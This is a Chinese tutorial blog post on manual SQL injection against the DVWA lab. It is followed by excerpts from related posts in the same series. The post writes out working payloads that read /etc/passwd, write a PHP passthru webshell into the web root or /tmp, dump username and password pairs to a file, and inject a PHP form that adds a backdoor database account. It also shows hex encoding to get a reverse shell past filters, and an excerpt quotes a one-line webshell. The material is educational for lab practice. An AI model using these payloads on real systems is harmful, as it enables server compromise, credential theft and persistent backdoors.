小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入

1、读取文件【load_file函数】

‘ union  SELECT null,load_file(‘/etc/passwd‘)--+

burpsuite

2、写入文件

‘ union select null,"<?php passthru($_GET[‘cmd‘]); ?>" INTO DUMPFILE "/var/www/a.php" --+   【写入一句话木马;INTO DUMPLING:MySQL函数,将输入下载在数据库中】

###此语句往往会提示无法写入,因为缺少权限【以运行MySQL的账号为己身获取的权限】

‘ union select null,"<?php passthru($_GET[‘cmd‘]); ?>" INTO DUMPFILE ‘a.php‘ --+     【将其写入默认路径(使用单引号): /var/lib/mysql/dvwa/a.php   (dvwa的账号)】

#当无权限进行指定目录写入文件时,可使用文件包含漏洞

首先,往通用目录/tmp/中写入,然后结合文件包含漏洞

‘ union select null, "<?php passthru($_GET[‘cmd‘]); ?>" INTO DUMPFILE "/tmp/a.php" --+

#也可上传反弹shell

注:当通过URL注入网页木马时,“<”、“?”、“php”、“>”等字符可能会触发过滤机制,所以,应使用编码绕过

###将网页木马编译成二进制文件,数据库会使用INTO DUMPLING将其转换成PHP代码储存

复制反弹shell

修改反弹shellIP

编码

cat b.php | xxd -ps     【xxd:linux集成,16进制编辑查看器;-ps:显示编码后内容】

#16进制存在换行符,需整理一下,再加一层管道

cat b.php | xxd -ps | tr -d ‘\n‘  【tr -d :删除】

再将编码后的密文替换明文

(0x密文)

3、保存下载数【拖库】

‘ union select null, concat(user,0x3a,password) from users INTO OUTFILE ‘/tmp/a.db‘--+

#若没有文件包含之类的漏洞可以下载拖库文件,则通过限定查询数目,一步一步复制黏贴进行数据窃取

当上传webshell无法实现目的操作,可编写服务器端代码,为己所用

#对目标有足够了解,数据库结构,表结构,程序设计逻辑方法

创建表单,向用户账号数据库插入一个账号【因为难以破解数据库的加密内容】,相当于开发一个功能

‘ union select null,‘<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text"
name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br>
<input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>‘ INTO DUMPFILE ‘/tmp/user.php‘ --

时间: 2024-10-05 04:25:54

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell的相关文章

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR

小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少与目标系统交互] Httrack:将WEB可下载的页面下载到本机,再进行本地检查[kali下安装] ##可到此网站获取代理:hidemyass.com[免费代理需小心] 扫描工具-Nikto #基于WEB的扫描工具,基本都支持两种扫描模式.代理截断模式,主动扫描模式 手动扫描:作为用户操作发现页面存

小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探头. 优点:速度比较快[多路单线程,全异步网络I/O,消除内存管理和调度开销,支持启发式自动内容识别],误报相对低 使用方式:[https://my.oschina.net/u/995648/blog/114321] 基本命令使用方式 skipfish -o test http:1.1.1.1  

小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/www/]之外的其他操作系统文件(如:/etc/passwd/).形成根源:目录权限限制不严格 #File include文件包含[1.include本地文件包含LFI:2.远程系统文件包含RFI(可传入木马)] 通常为如include函数,可以将web根目录以外的目录包含进来.根源:include

小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格安全性的配置,经常有系统服务以最高权限运行. 漏洞类型--远程命令执行 1.phpMyadmin 安装在web服务器中的web接口,专门用来管理MySQL数据库.对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup. a.探索PHP网站(可根据b

小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘原则[会比自动扫描器发现的漏洞要多,要全面] 1.每一个变量都进行尝试 2.所有头[如:cookie中的变量] 3.逐个变量删除 #####################################################################################

小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用性较强 [但版本众多而乱,可能存在木马,据说的官网http://www.maicaidao.co/] 1.利用上传漏洞,先上传一句话木马[支持三种服务器端PHP.ASP.ASP.NET] 使用ssh连接metasploitable 创建包含木马代码的文件 2.连接相应的服务器端 添加服务器端URL [密码为一

小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页面部分内容,而非整个页面 降低带宽使用,提高速度 提升用户体验 后台异步访问 AJAX组件 Javascript:AJAX的核心组件,使用XMLHTTPRequest对象接口向服务器发起请求,接受并处理服务器响应数据 Dynamic HTML (DHTML) 早于AJAX出现,通过javascrip

小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)

扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其他子目录也会被爬到[右键,Add Scope] #爬网参数设置 ###爬到页面中仍需要身份认证的页面,需重复输入,也可以忽略. #可导出 #################################################################### burpsuite支持两